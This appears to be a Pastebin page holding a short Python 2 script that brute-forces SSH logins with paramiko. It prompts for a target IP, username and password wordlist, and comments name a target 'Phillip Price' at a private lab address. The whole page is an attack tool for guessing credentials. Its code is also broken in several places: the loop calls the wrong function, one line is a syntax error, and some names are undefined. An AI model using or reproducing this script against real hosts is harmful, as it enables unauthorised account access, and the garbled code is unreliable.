Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import paramiko, sys, os, socket # importing the required modules
- global host, username, line, input_file # declaring global variables which can be assigned anywhere in the program
- line = "\n............................................................\n"
- def ssh_connect(password, code= 0):
- ssh = paramiko.SSHClient()
- ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- try:
- ssh.connect(host, port=22, username=username, password=password) # Prices open SSH port is standard 22.
- except paramiko.AuthenticationException:
- #[*] Authentication Failed ...
- code = 1
- except socket.error, e:
- #[*] Connection Failed ... Host Down"
- code = 2
- ssh.close()
- return code
- try:
- host = raw_input("[*] Enter Target IP Address: ") # Prices Computer IP Address: 192.168.122.132
- username = raw_input("[*] Enter SSH Username: ") # Prices Username: Phillip Price
- input_file = raw_input("[*] Enter SSH Password File: ") # Password File Name: passwords.txt
- if os.path.exists(input_file) == False:
- print "\n[*] File Path Does Not Exist" # If the file path is not found the program will exit.
- sys.exit(4)
- except KeyboardInterrupt:
- print "\n\n[*] User Requested An Interrupt" # CTRL+C if user wants to close program.
- sys.exit(3)
- input_file = open(input_file) # Opens the file
- print ''
- for i in input_file.readlines():
- password = i.strip("\n")
- try:
- response = ssh.connect(password)
- if response == 0:
- print("%s[*] User: %s [*] Pass Found: %s%s" % (line, username, password, line))
- sys.exit(0)
- elif response == 1:
- print("[*] User: %s [*] Pass %s ==> Login Incorrect !!! <==" % (username, password))
- elif response == 2:
- print("[*] Connection Failed: %s" % (host))
- sys exit(2)
- except Exception, e:
- print epass
- input_file_close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement